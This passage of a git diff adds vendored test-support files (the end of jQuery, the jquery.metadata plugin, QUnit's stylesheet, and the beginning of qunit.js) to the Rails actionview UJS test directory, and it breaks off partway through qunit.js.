+jQuery.fn.andSelf = jQuery.fn.addBack;
+
+
+
+
+// Register as a named AMD module, since jQuery can be concatenated with other
+// files that may use define, but not via a proper concatenation script that
+// understands anonymous AMD modules. A named AMD is safest and most robust
+// way to register. Lowercase jquery is used because AMD module names are
+// derived from file names, and jQuery is normally delivered in a lowercase
+// file name. Do this after creating the global so that if an AMD module wants
+// to call noConflict to hide this version of jQuery, it will work.
+
+// Note that for maximum portability, libraries that are not jQuery should
+// declare themselves as anonymous modules, and avoid setting a global if an
+// AMD loader is present. jQuery is a special case. For more information, see
+// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
+
+if ( typeof define === "function" && define.amd ) {
+	define( "jquery", [], function() {
+		return jQuery;
+	} );
+}
+
+
+
+var
+
+	// Map over jQuery in case of overwrite
+	_jQuery = window.jQuery,
+
+	// Map over the $ in case of overwrite
+	_$ = window.$;
+
+jQuery.noConflict = function( deep ) {
+	if ( window.$ === jQuery ) {
+		window.$ = _$;
+	}
+
+	if ( deep && window.jQuery === jQuery ) {
+		window.jQuery = _jQuery;
+	}
+
+	return jQuery;
+};
+
+// Expose jQuery and $ identifiers, even in AMD
+// (#7102#comment:10, https://github.com/jquery/jquery/pull/557)
+// and CommonJS for browser emulators (#13566)
+if ( !noGlobal ) {
+	window.jQuery = window.$ = jQuery;
+}
+
+return jQuery;
+}));
diff --git a/actionview/test/ujs/public/vendor/jquery.metadata.js b/actionview/test/ujs/public/vendor/jquery.metadata.js
new file mode 100644
index 0000000000..5b5253cdf7
--- /dev/null
+++ b/actionview/test/ujs/public/vendor/jquery.metadata.js
@@ -0,0 +1,122 @@
+/*
+ * Metadata - jQuery plugin for parsing metadata from elements
+ *
+ * Copyright (c) 2006 John Resig, Yehuda Katz, J�örn Zaefferer, Paul McLanahan
+ *
+ * Dual licensed under the MIT and GPL licenses:
+ *   http://www.opensource.org/licenses/mit-license.php
+ *   http://www.gnu.org/licenses/gpl.html
+ *
+ * Revision: $Id: jquery.metadata.js 4187 2007-12-16 17:15:27Z joern.zaefferer $
+ *
+ */
+
+/**
+ * Sets the type of metadata to use. Metadata is encoded in JSON, and each property
+ * in the JSON will become a property of the element itself.
+ *
+ * There are three supported types of metadata storage:
+ *
+ *   attr:  Inside an attribute. The name parameter indicates *which* attribute.
+ *          
+ *   class: Inside the class attribute, wrapped in curly braces: { }
+ *   
+ *   elem:  Inside a child element (e.g. a script tag). The
+ *          name parameter indicates *which* element.
+ *          
+ * The metadata for an element is loaded the first time the element is accessed via jQuery.
+ *
+ * As a result, you can define the metadata type, use $(expr) to load the metadata into the elements
+ * matched by expr, then redefine the metadata type and run another $(expr) for other elements.
+ * 
+ * @name $.metadata.setType
+ *
+ * @example <p id="one" class="some_class {item_id: 1, item_label: 'Label'}">This is a p</p>
+ * @before $.metadata.setType("class")
+ * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
+ * @desc Reads metadata from the class attribute
+ * 
+ * @example <p id="one" class="some_class" data="{item_id: 1, item_label: 'Label'}">This is a p</p>
+ * @before $.metadata.setType("attr", "data")
+ * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
+ * @desc Reads metadata from a "data" attribute
+ * 
+ * @example <p id="one" class="some_class"><script>{item_id: 1, item_label: 'Label'}</script>This is a p</p>
+ * @before $.metadata.setType("elem", "script")
+ * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
+ * @desc Reads metadata from a nested script element
+ * 
+ * @param String type The encoding type
+ * @param String name The name of the attribute to be used to get metadata (optional)
+ * @cat Plugins/Metadata
+ * @descr Sets the type of encoding to be used when loading metadata for the first time
+ * @type undefined
+ * @see metadata()
+ */
+
+(function($) {
+
+$.extend({
+	metadata : {
+		defaults : {
+			type: 'class',
+			name: 'metadata',
+			cre: /({.*})/,
+			single: 'metadata'
+		},
+		setType: function( type, name ){
+			this.defaults.type = type;
+			this.defaults.name = name;
+		},
+		get: function( elem, opts ){
+			var settings = $.extend({},this.defaults,opts);
+			// check for empty string in single property
+			if ( !settings.single.length ) settings.single = 'metadata';
+			
+			var data = $.data(elem, settings.single);
+			// returned cached data if it already exists
+			if ( data ) return data;
+			
+			data = "{}";
+			
+			if ( settings.type == "class" ) {
+				var m = settings.cre.exec( elem.className );
+				if ( m )
+					data = m[1];
+			} else if ( settings.type == "elem" ) {
+				if( !elem.getElementsByTagName )
+					return undefined;
+				var e = elem.getElementsByTagName(settings.name);
+				if ( e.length )
+					data = $.trim(e[0].innerHTML);
+			} else if ( elem.getAttribute != undefined ) {
+				var attr = elem.getAttribute( settings.name );
+				if ( attr )
+					data = attr;
+			}
+			
+			if ( data.indexOf( '{' ) <0 )
+			data = "{" + data + "}";
+			
+			data = eval("(" + data + ")");
+			
+			$.data( elem, settings.single, data );
+			return data;
+		}
+	}
+});
+
+/**
+ * Returns the metadata object for the first member of the jQuery object.
+ *
+ * @name metadata
+ * @descr Returns element's metadata object
+ * @param Object opts An object containing settings to override the defaults
+ * @type jQuery
+ * @cat Plugins/Metadata
+ */
+$.fn.metadata = function( opts ){
+	return $.metadata.get( this[0], opts );
+};
+
+})(jQuery);
\ No newline at end of file
diff --git a/actionview/test/ujs/public/vendor/qunit.css b/actionview/test/ujs/public/vendor/qunit.css
new file mode 100644
index 0000000000..93026e3ba3
--- /dev/null
+++ b/actionview/test/ujs/public/vendor/qunit.css
@@ -0,0 +1,237 @@
+/*!
+ * QUnit 1.14.0
+ * http://qunitjs.com/
+ *
+ * Copyright 2013 jQuery Foundation and other contributors
+ * Released under the MIT license
+ * http://jquery.org/license
+ *
+ * Date: 2014-01-31T16:40Z
+ */
+
+/** Font Family and Sizes */
+
+#qunit-tests, #qunit-header, #qunit-banner, #qunit-testrunner-toolbar, #qunit-userAgent, #qunit-testresult {
+	font-family: "Helvetica Neue Light", "HelveticaNeue-Light", "Helvetica Neue", Calibri, Helvetica, Arial, sans-serif;
+}
+
+#qunit-testrunner-toolbar, #qunit-userAgent, #qunit-testresult, #qunit-tests li { font-size: small; }
+#qunit-tests { font-size: smaller; }
+
+
+/** Resets */
+
+#qunit-tests, #qunit-header, #qunit-banner, #qunit-userAgent, #qunit-testresult, #qunit-modulefilter {
+	margin: 0;
+	padding: 0;
+}
+
+
+/** Header */
+
+#qunit-header {
+	padding: 0.5em 0 0.5em 1em;
+
+	color: #8699A4;
+	background-color: #0D3349;
+
+	font-size: 1.5em;
+	line-height: 1em;
+	font-weight: 400;
+
+	border-radius: 5px 5px 0 0;
+}
+
+#qunit-header a {
+	text-decoration: none;
+	color: #C2CCD1;
+}
+
+#qunit-header a:hover,
+#qunit-header a:focus {
+	color: #FFF;
+}
+
+#qunit-testrunner-toolbar label {
+	display: inline-block;
+	padding: 0 0.5em 0 0.1em;
+}
+
+#qunit-banner {
+	height: 5px;
+}
+
+#qunit-testrunner-toolbar {
+	padding: 0.5em 0 0.5em 2em;
+	color: #5E740B;
+	background-color: #EEE;
+	overflow: hidden;
+}
+
+#qunit-userAgent {
+	padding: 0.5em 0 0.5em 2.5em;
+	background-color: #2B81AF;
+	color: #FFF;
+	text-shadow: rgba(0, 0, 0, 0.5) 2px 2px 1px;
+}
+
+#qunit-modulefilter-container {
+	float: right;
+}
+
+/** Tests: Pass/Fail */
+
+#qunit-tests {
+	list-style-position: inside;
+}
+
+#qunit-tests li {
+	padding: 0.4em 0.5em 0.4em 2.5em;
+	border-bottom: 1px solid #FFF;
+	list-style-position: inside;
+}
+
+#qunit-tests.hidepass li.pass, #qunit-tests.hidepass li.running  {
+	display: none;
+}
+
+#qunit-tests li strong {
+	cursor: pointer;
+}
+
+#qunit-tests li a {
+	padding: 0.5em;
+	color: #C2CCD1;
+	text-decoration: none;
+}
+#qunit-tests li a:hover,
+#qunit-tests li a:focus {
+	color: #000;
+}
+
+#qunit-tests li .runtime {
+	float: right;
+	font-size: smaller;
+}
+
+.qunit-assert-list {
+	margin-top: 0.5em;
+	padding: 0.5em;
+
+	background-color: #FFF;
+
+	border-radius: 5px;
+}
+
+.qunit-collapsed {
+	display: none;
+}
+
+#qunit-tests table {
+	border-collapse: collapse;
+	margin-top: 0.2em;
+}
+
+#qunit-tests th {
+	text-align: right;
+	vertical-align: top;
+	padding: 0 0.5em 0 0;
+}
+
+#qunit-tests td {
+	vertical-align: top;
+}
+
+#qunit-tests pre {
+	margin: 0;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+#qunit-tests del {
+	background-color: #E0F2BE;
+	color: #374E0C;
+	text-decoration: none;
+}
+
+#qunit-tests ins {
+	background-color: #FFCACA;
+	color: #500;
+	text-decoration: none;
+}
+
+/*** Test Counts */
+
+#qunit-tests b.counts                       { color: #000; }
+#qunit-tests b.passed                       { color: #5E740B; }
+#qunit-tests b.failed                       { color: #710909; }
+
+#qunit-tests li li {
+	padding: 5px;
+	background-color: #FFF;
+	border-bottom: none;
+	list-style-position: inside;
+}
+
+/*** Passing Styles */
+
+#qunit-tests li li.pass {
+	color: #3C510C;
+	background-color: #FFF;
+	border-left: 10px solid #C6E746;
+}
+
+#qunit-tests .pass                          { color: #528CE0; background-color: #D2E0E6; }
+#qunit-tests .pass .test-name               { color: #366097; }
+
+#qunit-tests .pass .test-actual,
+#qunit-tests .pass .test-expected           { color: #999; }
+
+#qunit-banner.qunit-pass                    { background-color: #C6E746; }
+
+/*** Failing Styles */
+
+#qunit-tests li li.fail {
+	color: #710909;
+	background-color: #FFF;
+	border-left: 10px solid #EE5757;
+	white-space: pre;
+}
+
+#qunit-tests > li:last-child {
+	border-radius: 0 0 5px 5px;
+}
+
+#qunit-tests .fail                          { color: #000; background-color: #EE5757; }
+#qunit-tests .fail .test-name,
+#qunit-tests .fail .module-name             { color: #000; }
+
+#qunit-tests .fail .test-actual             { color: #EE5757; }
+#qunit-tests .fail .test-expected           { color: #008000; }
+
+#qunit-banner.qunit-fail                    { background-color: #EE5757; }
+
+
+/** Result */
+
+#qunit-testresult {
+	padding: 0.5em 0.5em 0.5em 2.5em;
+
+	color: #2B81AF;
+	background-color: #D2E0E6;
+
+	border-bottom: 1px solid #FFF;
+}
+#qunit-testresult .module-name {
+	font-weight: 700;
+}
+
+/** Fixture */
+
+#qunit-fixture {
+	position: absolute;
+	top: -10000px;
+	left: -10000px;
+	width: 1000px;
+	height: 1000px;
+}
diff --git a/actionview/test/ujs/public/vendor/qunit.js b/actionview/test/ujs/public/vendor/qunit.js
new file mode 100644
index 0000000000..0e279fde17
--- /dev/null
+++ b/actionview/test/ujs/public/vendor/qunit.js
@@ -0,0 +1,2288 @@
+/*!
+ * QUnit 1.14.0
+ * http://qunitjs.com/
+ *
+ * Copyright 2013 jQuery Foundation and other contributors
+ * Released under the MIT license
+ * http://jquery.org/license
+ *
+ * Date: 2014-01-31T16:40Z
+ */
+
+(function( window ) {
+
+var QUnit,
+	assert,
+	config,
+	onErrorFnPrev,
+	testId = 0,
+	fileName = (sourceFromStacktrace( 0 ) || "" ).replace(/(:\d+)+\)?/, "").replace(/.+\//, ""),
+	toString = Object.prototype.toString,
+	hasOwn = Object.prototype.hasOwnProperty,
+	// Keep a local reference to Date (GH-283)
+	Date = window.Date,
+	setTimeout = window.setTimeout,
+	clearTimeout = window.clearTimeout,
+	defined = {
+		document: typeof window.document !== "undefined",
+		setTimeout: typeof window.setTimeout !== "undefined",
+		sessionStorage: (function() {
+			var x = "qunit-test-string";
+			try {
+				sessionStorage.setItem( x, x );
+				sessionStorage.removeItem( x );
+				return true;
+			} catch( e ) {
+				return false;
+			}
+		}())
+	},
+	/**
+	 * Provides a normalized error string, correcting an issue
+	 * with IE 7 (and prior) where Error.prototype.toString is
+	 * not properly implemented
+	 *
+	 * Based on http://es5.github.com/#x15.11.4.4
+	 *
+	 * @param {String|Error} error
+	 * @return {String} error message
+	 */
+	errorString = function( error ) {
+		var name, message,
+			errorString = error.toString();
+		if ( errorString.substring( 0, 7 ) === "[object" ) {
+			name = error.name ? error.name.toString() : "Error";
+			message = error.message ? error.message.toString() : "";
+			if ( name && message ) {
+				return name + ": " + message;
+			} else if ( name ) {
+				return name;
+			} else if ( message ) {
+				return message;
+			} else {
+				return "Error";
+			}
+		} else {
+			return errorString;
+		}
+	},
+	/**
+	 * Makes a clone of an object using only Array or Object as base,
+	 * and copies over the own enumerable properties.
+	 *
+	 * @param {Object} obj
+	 * @return {Object} New object with only the own properties (recursively).
+	 */
+	objectValues = function( obj ) {
+		// Grunt 0.3.x uses an older version of jshint that still has jshint/jshint#392.
+		/*jshint newcap: false */
+		var key, val,
+			vals = QUnit.is( "array", obj ) ? [] : {};
+		for ( key in obj ) {
+			if ( hasOwn.call( obj, key ) ) {
+				val = obj[key];
+				vals[key] = val === Object(val) ? objectValues(val) : val;
+			}
+		}
+		return vals;
+	};
+
+
+// Root QUnit object.
+// `QUnit` initialized at top of scope
+QUnit = {
+
+	// call on start of module test to prepend name to all tests
+	module: function( name, testEnvironment ) {
+		config.currentModule = name;
+		config.currentModuleTestEnvironment = testEnvironment;
+		config.modules[name] = true;
+	},
+
+	asyncTest: function( testName, expected, callback ) {
+		if ( arguments.length === 2 ) {
+			callback = expected;
+			expected = null;
+		}
+
+		QUnit.test( testName, expected, callback, true );
+	},
+
+	test: function( testName, expected, callback, async ) {
+		var test,
+			nameHtml = "<span class='test-name'>" + escapeText( testName ) + "</span>";
+
+		if ( arguments.length === 2 ) {
+			callback = expected;
+			expected = null;
+		}
+
+		if ( config.currentModule ) {
+			nameHtml = "<span class='module-name'>" + escapeText( config.currentModule ) + "</span>: " + nameHtml;
+		}
+
+		test = new Test({
+			nameHtml: nameHtml,
+			testName: testName,
+			expected: expected,
+			async: async,
+			callback: callback,
+			module: config.currentModule,
+			moduleTestEnvironment: config.currentModuleTestEnvironment,
+			stack: sourceFromStacktrace( 2 )
+		});
+
+		if ( !validTest( test ) ) {
+			return;
+		}
+
+		test.queue();
+	},
+
+	// Specify the number of expected assertions to guarantee that failed test (no assertions are run at all) don't slip through.
+	expect: function( asserts ) {
+		if (arguments.length === 1) {
+			config.current.expected = asserts;
+		} else {
+			return config.current.expected;
+		}
+	},
+
+	start: function( count ) {
+		// QUnit hasn't been initialized yet.
+		// Note: RequireJS (et al) may delay onLoad
+		if ( config.semaphore === undefined ) {
+			QUnit.begin(function() {
+				// This is triggered at the top of QUnit.load, push start() to the event loop, to allow QUnit.load to finish first
+				setTimeout(function() {
+					QUnit.start( count );
+				});
+			});
+			return;
+		}
+
+		config.semaphore -= count || 1;
+		// don't start until equal number of stop-calls
+		if ( config.semaphore > 0 ) {
+			return;
+		}
+		// ignore if start is called more often then stop
+		if ( config.semaphore < 0 ) {
+			config.semaphore = 0;
+			QUnit.pushFailure( "Called start() while already started (QUnit.config.semaphore was 0 already)", null, sourceFromStacktrace(2) );
+			return;
+		}
+		// A slight delay, to avoid any current callbacks
+		if ( defined.setTimeout ) {
+			setTimeout(function() {
+				if ( config.semaphore > 0 ) {
+					return;
+				}
+				if ( config.timeout ) {
+					clearTimeout( config.timeout );
+				}
+
+				config.blocking = false;
+				process( true );
+			}, 13);
+		} else {
+			config.blocking = false;
+			process( true );
+		}
+	},
+
+	stop: function( count ) {
+		config.semaphore += count || 1;
+		config.blocking = true;
+
+		if ( config.testTimeout && defined.setTimeout ) {
+			clearTimeout( config.timeout );
+			config.timeout = setTimeout(function() {
+				QUnit.ok( false, "Test timed out" );
+				config.semaphore = 1;
+				QUnit.start();
+			}, config.testTimeout );
+		}
+	}
+};
+
+// We use the prototype to distinguish between properties that should
+// be exposed as globals (and in exports) and those that shouldn't
+(function() {
+	function F() {}
+	F.prototype = QUnit;
+	QUnit = new F();
+	// Make F QUnit's constructor so that we can add to the prototype later
+	QUnit.constructor = F;
+}());
+
+/**
+ * Config object: Maintain internal state
+ * Later exposed as QUnit.config
+ * `config` initialized at top of scope
+ */
+config = {
+	// The queue of tests to run
+	queue: [],
+
+	// block until document ready
+	blocking: true,
+
+	// when enabled, show only failing tests
+	// gets persisted through sessionStorage and can be changed in UI via checkbox
+	hidepassed: false,
+
+	// by default, run previously failed tests first
+	// very useful in combination with "Hide passed tests" checked
+	reorder: true,
+
+	// by default, modify document.title when suite is done
+	altertitle: true,
+
+	// by default, scroll to top of the page when suite is done
+	scrolltop: true,
+
+	// when enabled, all tests must call expect()
+	requireExpects: false,
+
+	// add checkboxes that are persisted in the query-string
+	// when enabled, the id is set to `true` as a `QUnit.config` property
+	urlConfig: [
+		{
+			id: "noglobals",
+			label: "Check for Globals",
+			tooltip: "Enabling this will test if any test introduces new properties on the `window` object. Stored as query-strings."
+		},
+		{
+			id: "notrycatch",
+			label: "No try-catch",
+			tooltip: "Enabling this will run tests outside of a try-catch block. Makes debugging exceptions in IE reasonable. Stored as query-strings."
+		}
+	],
+
+	// Set of all modules.
+	modules: {},
+
+	// logging callback queues
+	begin: [],
+	done: [],
+	log: [],
+	testStart: [],
+	testDone: [],
+	moduleStart: [],
+	moduleDone: []
+};
+
+// Initialize more QUnit.config and QUnit.urlParams
+(function() {
+	var i, current,
+		location = window.location || { search: "", protocol: "file:" },
+		params = location.search.slice( 1 ).split( "&" ),
+		length = params.length,
+		urlParams = {};
+
+	if ( params[ 0 ] ) {
+		for ( i = 0; i < length; i++ ) {
+			current = params[ i ].split( "=" );
+			current[ 0 ] = decodeURIComponent( current[ 0 ] );
+
+			// allow just a key to turn on a flag, e.g., test.html?noglobals
+			current[ 1 ] = current[ 1 ] ? decodeURIComponent( current[ 1 ] ) : true;
+			if ( urlParams[ current[ 0 ] ] ) {
+				urlParams[ current[ 0 ] ] = [].concat( urlParams[ current[ 0 ] ], current[ 1 ] );
+			} else {
+				urlParams[ current[ 0 ] ] = current[ 1 ];
+			}
+		}
+	}
+
+	QUnit.urlParams = urlParams;
+
+	// String search anywhere in moduleName+testName
+	config.filter = urlParams.filter;
+
+	// Exact match of the module name
+	config.module = urlParams.module;
+
+	config.testNumber = [];
+	if ( urlParams.testNumber ) {
+
+		// Ensure that urlParams.testNumber is an array
+		urlParams.testNumber = [].concat( urlParams.testNumber );
+		for ( i = 0; i < urlParams.testNumber.length; i++ ) {
+			current = urlParams.testNumber[ i ];
+			config.testNumber.push( parseInt( current, 10 ) );
+		}
+	}
+
+	// Figure out if we're running the tests from a server or not
+	QUnit.isLocal = location.protocol === "file:";
+}());
+
+extend( QUnit, {
+
+	config: config,
+
+	// Initialize the configuration options
+	init: function() {
+		extend( config, {
+			stats: { all: 0, bad: 0 },
+			moduleStats: { all: 0, bad: 0 },
+			started: +new Date(),
+			updateRate: 1000,
+			blocking: false,
+			autostart: true,
+			autorun: false,
+			filter: "",
+			queue: [],
+			semaphore: 1
+		});
+
+		var tests, banner, result,
+			qunit = id( "qunit" );
+
+		if ( qunit ) {
+			qunit.innerHTML =
+				"<h1 id='qunit-header'>" + escapeText( document.title ) + "</h1>" +
+				"<h2 id='qunit-banner'></h2>" +
+				"<div id='qunit-testrunner-toolbar'></div>" +
+				"<h2 id='qunit-userAgent'></h2>" +
+				"<ol id='qunit-tests'></ol>";
+		}
+
+		tests = id( "qunit-tests" );
+		banner = id( "qunit-banner" );
+		result = id( "qunit-testresult" );
+
+		if ( tests ) {
+			tests.innerHTML = "";
+		}
+
+		if ( banner ) {
+			banner.className = "";
+		}
+
+		if ( result ) {
+			result.parentNode.removeChild( result );
+		}
+
+		if ( tests ) {
+			result = document.createElement( "p" );
+			result.id = "qunit-testresult";
+			result.className = "result";
+			tests.parentNode.insertBefore( result, tests );
+			result.innerHTML = "Running...<br/>&nbsp;";
+		}
+	},
+
+	// Resets the test setup. Useful for tests that modify the DOM.
+	/*
+	DEPRECATED: Use multiple tests instead of resetting inside a test.
+	Use testStart or testDone for custom cleanup.
+	This method will throw an error in 2.0, and will be removed in 2.1
+	*/
+	reset: function() {
+		var fixture = id( "qunit-fixture" );
+		if ( fixture ) {
+			fixture.innerHTML = config.fixture;
+		}
+	},
+
+	// Safe object type checking
+	is: function( type, obj ) {
+		return QUnit.objectType( obj ) === type;
+	},
+
+	objectType: function( obj ) {
+		if ( typeof obj === "undefined" ) {
+			return "undefined";
+		}
+
+		// Consider: typeof null === object
+		if ( obj === null ) {
+			return "null";
+		}
+
+		var match = toString.call( obj ).match(/^\[object\s(.*)\]$/),
+			type = match && match[1] || "";
+
+		switch ( type ) {
+			case "Number":
+				if ( isNaN(obj) ) {
+					return "nan";
+				}
+				return "number";
+			case "String":
+			case "Boolean":
+			case "Array":
+			case "Date":
+			case "RegExp":
+			case "Function":
+				return type.toLowerCase();
+		}
+		if ( typeof obj === "object" ) {
+			return "object";
+		}
+		return undefined;
+	},
+
+	push: function( result, actual, expected, message ) {
+		if ( !config.current ) {
+			throw new Error( "assertion outside test context, was " + sourceFromStacktrace() );
+		}
+
+		var output, source,
+			details = {
+				module: config.current.module,
+				name: config.current.testName,
+				result: result,
+				message: message,
+				actual: actual,
+				expected: expected
+			};
+
+		message = escapeText( message ) || ( result ? "okay" : "failed" );
+		message = "<span class='test-message'>" + message + "</span>";
+		output = message;
+
+		if ( !result ) {
+			expected = escapeText( QUnit.jsDump.parse(expected) );
+			actual = escapeText( QUnit.jsDump.parse(actual) );
+			output += "<table><tr class='test-expected'><th>Expected: </th><td><pre>" + expected + "</pre></td></tr>";
+
+			if ( actual !== expected ) {
+				output += "<tr class='test-actual'><th>Result: </th><td><pre>" + actual + "</pre></td></tr>";
+				output += "<tr class='test-diff'><th>Diff: </th><td><pre>" + QUnit.diff( expected, actual ) + "</pre></td></tr>";
+			}
+
+			source = sourceFromStacktrace();
+
+			if ( source ) {
+				details.source = source;
+				output += "<tr class='test-source'><th>Source: </th><td><pre>" + escapeText( source ) + "</pre></td></tr>";
+			}
+
+			output += "</table>";
+		}
+
+		runLoggingCallbacks( "log", QUnit, details );
+
+		config.current.assertions.push({
+			result: !!result,
+			message: output
+		});
+	},
+
+	pushFailure: function( message, source, actual ) {
+		if ( !config.current ) {
+			throw new Error( "pushFailure() assertion outside test context, was " + sourceFromStacktrace(2) );
+		}
+
+		var output,
+			details = {
+				module: config.current.module,
+				name: config.current.testName,
+				result: false,
+				message: message
+			};
+
+		message = escapeText( message ) || "error";
+		message = "<span class='test-message'>" + message + "</span>";
+		output = message;
+
+		output += "<table>";
+
+		if ( actual ) {
+			output += "<tr class='test-actual'><th>Result: </th><td><pre>" + escapeText( actual ) + "</pre></td></tr>";
+		}
+
+		if ( source ) {
+			details.source = source;
+			output += "<tr class='test-source'><th>Source: </th><td><pre>" + escapeText( source ) + "</pre></td></tr>";
+		}
+
+		output += "</table>";
+
+		runLoggingCallbacks( "log", QUnit, details );
+
+		config.current.assertions.push({
+			result: false,
+			message: output
+		});
+	},
+
+	url: function( params ) {
+		params = extend( extend( {}, QUnit.urlParams ), params );
+		var key,
+			querystring = "?";
+
+		for ( key in params ) {
+			if ( hasOwn.call( params, key ) ) {
+				querystring += encodeURIComponent( key ) + "=" +
+					encodeURIComponent( params[ key ] ) + "&";
+			}
+		}
+		return window.location.protocol + "//" + window.location.host +
+			window.location.pathname + querystring.slice( 0, -1 );
+	},
+
+	extend: extend,
+	id: id,
+	addEvent: addEvent,
+	addClass: addClass,
+	hasClass: hasClass,
+	removeClass: removeClass
+	// load, equiv, jsDump, diff: Attached later
+});
+
+/**
+ * @deprecated: Created for backwards compatibility with test runner that set the hook function
+ * into QUnit.{hook}, instead of invoking it and passing the hook function.
+ * QUnit.constructor is set to the empty F() above so that we can add to it's prototype here.
+ * Doing this allows us to tell if the following methods have been overwritten on the actual
+ * QUnit object.
+ */
+extend( QUnit.constructor.prototype, {
+
+	// Logging callbacks; all receive a single argument with the listed properties
+	// run test/logs.html for any related changes
+	begin: registerLoggingCallback( "begin" ),
+
+	// done: { failed, passed, total, runtime }
+	done: registerLoggingCallback( "done" ),
+
+	// log: { result, actual, expected, message }
+	log: registerLoggingCallback( "log" ),
+
+	// testStart: { name }
+	testStart: registerLoggingCallback( "testStart" ),
+
+	// testDone: { name, failed, passed, total, runtime }
+	testDone: registerLoggingCallback( "testDone" ),
+
+	// moduleStart: { name }
+	moduleStart: registerLoggingCallback( "moduleStart" ),
+
+	// moduleDone: { name, failed, passed, total }
+	moduleDone: registerLoggingCallback( "moduleDone" )
+});
+
+if ( !defined.document || document.readyState === "complete" ) {
+	config.autorun = true;
+}
+
+QUnit.load = function() {
+	runLoggingCallbacks( "begin", QUnit, {} );
+
+	// Initialize the config, saving the execution queue
+	var banner, filter, i, j, label, len, main, ol, toolbar, val, selection,
+		urlConfigContainer, moduleFilter, userAgent,
+		numModules = 0,
+		moduleNames = [],
+		moduleFilterHtml = "",
+		urlConfigHtml = "",
+		oldconfig = extend( {}, config );
+
+	QUnit.init();
+	extend(config, oldconfig);
+
+	config.blocking = false;
+
+	len = config.urlConfig.length;
+
+	for ( i = 0; i < len; i++ ) {
+		val = config.urlConfig[i];
+		if ( typeof val === "string" ) {
+			val = {
+				id: val,
+				label: val
+			};
+		}
+		config[ val.id ] = QUnit.urlParams[ val.id ];
+		if ( !val.value || typeof val.value === "string" ) {
+			urlConfigHtml += "<input id='qunit-urlconfig-" + escapeText( val.id ) +
+				"' name='" + escapeText( val.id ) +
+				"' type='checkbox'" +
+				( val.value ? " value='" + escapeText( val.value ) + "'" : "" ) +
+				( config[ val.id ] ? " checked='checked'" : "" ) +
+				" title='" + escapeText( val.tooltip ) +
+				"'><label for='qunit-urlconfig-" + escapeText( val.id ) +
+				"' title='" + escapeText( val.tooltip ) + "'>" + val.label + "</label>";
+		} else {
+			urlConfigHtml += "<label for='qunit-urlconfig-" + escapeText( val.id ) +
+				"' title='" + escapeText( val.tooltip ) +
+				"'>" + val.label +
+				": </label><select id='qunit-urlconfig-" + escapeText( val.id ) +
+				"' name='" + escapeText( val.id ) +
+				"' title='" + escapeText( val.tooltip ) +
+				"'><option></option>";
+			selection = false;
+			if ( QUnit.is( "array", val.value ) ) {
+				for ( j = 0; j < val.value.length; j++ ) {
+					urlConfigHtml += "<option value='" + escapeText( val.value[j] ) + "'" +
+						( config[ val.id ] === val.value[j] ?
+							(selection = true) && " selected='selected'" :
+							"" ) +
+						">" + escapeText( val.value[j] ) + "</option>";
+				}
+			} else {
+				for ( j in val.value ) {
+					if ( hasOwn.call( val.value, j ) ) {
+						urlConfigHtml += "<option value='" + escapeText( j ) + "'" +
+							( config[ val.id ] === j ?
+								(selection = true) && " selected='selected'" :
+								"" ) +
+							">" + escapeText( val.value[j] ) + "</option>";
+					}
+				}
+			}
+			if ( config[ val.id ] && !selection ) {
+				urlConfigHtml += "<option value='" + escapeText( config[ val.id ] ) +
+					"' selected='selected' disabled='disabled'>" +
+					escapeText( config[ val.id ] ) +
+					"</option>";
+			}
+			urlConfigHtml += "</select>";
+		}
+	}
+	for ( i in config.modules ) {
+		if ( config.modules.hasOwnProperty( i ) ) {
+			moduleNames.push(i);
+		}
+	}
+	numModules = moduleNames.length;
+	moduleNames.sort( function( a, b ) {
+		return a.localeCompare( b );
+	});
+	moduleFilterHtml += "<label for='qunit-modulefilter'>Module: </label><select id='qunit-modulefilter' name='modulefilter'><option value='' " +
+		( config.module === undefined  ? "selected='selected'" : "" ) +
+		">< All Modules ></option>";
+
+
+	for ( i = 0; i < numModules; i++) {
+			moduleFilterHtml += "<option value='" + escapeText( encodeURIComponent(moduleNames[i]) ) + "' " +
+				( config.module === moduleNames[i] ? "selected='selected'" : "" ) +
+				">" + escapeText(moduleNames[i]) + "</option>";
+	}
+	moduleFilterHtml += "</select>";
+
+	// `userAgent` initialized at top of scope
+	userAgent = id( "qunit-userAgent" );
+	if ( userAgent ) {
+		userAgent.innerHTML = navigator.userAgent;
+	}
+
+	// `banner` initialized at top of scope
+	banner = id( "qunit-header" );
+	if ( banner ) {
+		banner.innerHTML = "<a href='" + QUnit.url({ filter: undefined, module: undefined, testNumber: undefined }) + "'>" + banner.innerHTML + "</a> ";
+	}
+
+	// `toolbar` initialized at top of scope
+	toolbar = id( "qunit-testrunner-toolbar" );
+	if ( toolbar ) {
+		// `filter` initialized at top of scope
+		filter = document.createElement( "input" );
+		filter.type = "checkbox";
+		filter.id = "qunit-filter-pass";
+
+		addEvent( filter, "click", function() {
+			var tmp,
+				ol = id( "qunit-tests" );
+
+			if ( filter.checked ) {
+				ol.className = ol.className + " hidepass";
+			} else {
+				tmp = " " + ol.className.replace( /[\n\t\r]/g, " " ) + " ";
+				ol.className = tmp.replace( / hidepass /, " " );
+			}
+			if ( defined.sessionStorage ) {
+				if (filter.checked) {
+					sessionStorage.setItem( "qunit-filter-passed-tests", "true" );
+				} else {
+					sessionStorage.removeItem( "qunit-filter-passed-tests" );
+				}
+			}
+		});
+
+		if ( config.hidepassed || defined.sessionStorage && sessionStorage.getItem( "qunit-filter-passed-tests" ) ) {
+			filter.checked = true;
+			// `ol` initialized at top of scope
+			ol = id( "qunit-tests" );
+			ol.className = ol.className + " hidepass";
+		}
+		toolbar.appendChild( filter );
+
+		// `label` initialized at top of scope
+		label = document.createElement( "label" );
+		label.setAttribute( "for", "qunit-filter-pass" );
+		label.setAttribute( "title", "Only show tests and assertions that fail. Stored in sessionStorage." );
+		label.innerHTML = "Hide passed tests";
+		toolbar.appendChild( label );
+
+		urlConfigContainer = document.createElement("span");
+		urlConfigContainer.innerHTML = urlConfigHtml;
+		// For oldIE support:
+		// * Add handlers to the individual elements instead of the container
+		// * Use "click" instead of "change" for checkboxes
+		// * Fallback from event.target to event.srcElement
+		addEvents( urlConfigContainer.getElementsByTagName("input"), "click", function( event ) {
+			var params = {},
+				target = event.target || event.srcElement;
+			params[ target.name ] = target.checked ?
+				target.defaultValue || true :
+				undefined;
+			window.location = QUnit.url( params );
+		});
